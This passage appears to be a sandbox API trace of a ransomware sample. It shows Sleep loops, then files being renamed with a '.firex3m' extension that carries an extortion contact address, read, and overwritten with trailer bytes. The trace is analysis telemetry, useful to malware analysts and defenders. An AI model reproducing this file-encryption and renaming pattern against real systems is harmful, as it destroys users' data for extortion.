(dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.049] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.439] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.077] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.231] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.891] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", len=0x39 | out: pbstr=0x497ff7c*="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 1 [0086.891] GetProcessHeap () returned 0x630000 [0086.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) returned 1 [0086.891] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x644 [0086.958] CloseHandle (hObject=0x644) returned 1 [0086.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.958] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0086.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0086.959] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x16001204, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DOWNLE~1.FIR")) returned 0x6d5200 [0086.959] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0086.959] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x644 [0086.960] GetProcessHeap () returned 0x630000 [0086.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa6c1) returned 0x6f5750 [0086.960] GetProcessHeap () returned 0x630000 [0086.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa6c1) returned 0x6ffe20 [0086.961] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.961] ReadFile (in: hFile=0x644, lpBuffer=0x6f5750, nNumberOfBytesToRead=0xa6a0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5750*, lpNumberOfBytesRead=0x497ff0c*=0xa6a0, lpOverlapped=0x0) returned 1 [0086.964] GetProcessHeap () returned 0x630000 [0086.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a) returned 0x66c760 [0086.964] GetProcessHeap () returned 0x630000 [0086.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x6e9260 [0090.481] GetProcessHeap () returned 0x630000 [0090.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0090.481] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.482] WriteFile (in: hFile=0x644, lpBuffer=0x6ffe20*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffe20*, lpNumberOfBytesWritten=0x497ff0c*=0xa6a0, lpOverlapped=0x0) returned 1 [0090.482] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.482] WriteFile (in: hFile=0x644, lpBuffer=0x70a4bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a4bf*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.482] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.482] WriteFile (in: hFile=0x644, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.482] CloseHandle (hObject=0x644) returned 1 [0090.484] GetProcessHeap () returned 0x630000 [0090.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffe20 | out: hHeap=0x630000) returned 1 [0090.484] GetProcessHeap () returned 0x630000 [0090.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5750 | out: hHeap=0x630000) returned 1 [0090.484] GetProcessHeap () returned 0x630000 [0090.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0090.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.484] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xfbe1c9b3, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xa6d6, dwReserved0=0xbb87496, dwReserved1=0x6f5748, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DOWNLE~1.FIR")) returned 0x6d5340 [0090.484] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0090.484] Sleep (dwMilliseconds=0x1) [0091.853] Sleep (dwMilliseconds=0x1) [0093.490] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", len=0x2c | out: pbstr=0x497ff7c*="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 1 [0093.490] GetProcessHeap () returned 0x630000 [0093.490] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a54c8, Size=0x84) returned 0x6a47d8 [0093.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0093.491] CloseHandle (hObject=0x648) returned 1 [0093.491] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.491] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.491] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.492] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~2.FIR")) returned 0x6d5340 [0093.492] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0093.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0093.492] GetProcessHeap () returned 0x630000 [0093.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0093.492] GetProcessHeap () returned 0x630000 [0093.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f11da8 [0093.492] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.492] ReadFile (in: hFile=0x648, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.577] GetProcessHeap () returned 0x630000 [0100.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0100.578] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.578] WriteFile (in: hFile=0x648, lpBuffer=0x6f11da8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.578] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.578] WriteFile (in: hFile=0x648, lpBuffer=0x6f1d1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1a7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.580] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.580] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.580] CloseHandle (hObject=0x648) returned 1 [0101.410] GetProcessHeap () returned 0x630000 [0101.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0101.411] GetProcessHeap () returned 0x630000 [0101.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0101.413] GetProcessHeap () returned 0x630000 [0101.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0101.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.413] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2649ddd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd5024, dwReserved0=0xbb87496, dwReserved1=0x6f06970, cFileName="netfx_Extended_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~2.FIR")) returned 0x6d4e40 [0101.413] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.413] Sleep (dwMilliseconds=0x1) [0102.109] Sleep (dwMilliseconds=0x1) [0102.342] Sleep (dwMilliseconds=0x1) [0102.525] Sleep (dwMilliseconds=0x1) [0102.774] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.187] Sleep (dwMilliseconds=0x1) [0103.298] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.983] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", len=0x39 | out: pbstr=0x497ff7c*="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 1 [0104.983] GetProcessHeap () returned 0x630000 [0104.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12b0 | out: hHeap=0x630000) returned 1 [0104.983] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0105.026] CloseHandle (hObject=0x6c8) returned 1 [0105.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.027] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0105.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0105.027] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x6f00157a, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI867A~1.FIR")) returned 0x6d5240 [0105.028] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0105.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0105.028] GetProcessHeap () returned 0x630000 [0105.028] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fa4418 [0105.029] GetProcessHeap () returned 0x630000 [0105.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faf848 [0105.029] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.029] ReadFile (in: hFile=0x6c8, lpBuffer=0x6fa4418, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4418*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.582] GetProcessHeap () returned 0x630000 [0111.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0111.583] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.583] WriteFile (in: hFile=0x6c8, lpBuffer=0x6faf848*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faf848*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.583] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.583] WriteFile (in: hFile=0x6c8, lpBuffer=0x6fbac47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbac47*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0111.583] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.584] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0111.584] CloseHandle (hObject=0x6c8) returned 1 [0112.975] GetProcessHeap () returned 0x630000 [0112.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faf848 | out: hHeap=0x630000) returned 1 [0112.975] GetProcessHeap () returned 0x630000 [0112.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4418 | out: hHeap=0x630000) returned 1 [0112.978] GetProcessHeap () returned 0x630000 [0112.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0112.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.979] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x94a57bb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xbb87496, dwReserved1=0x6fa4410, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI867A~1.FIR")) returned 0x6d4e40 [0112.979] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.979] Sleep (dwMilliseconds=0x1) [0113.758] Sleep (dwMilliseconds=0x1) [0114.314] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.343] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 1 [0123.343] GetProcessHeap () returned 0x630000 [0123.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x17c) returned 0x66a3e0 [0123.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), 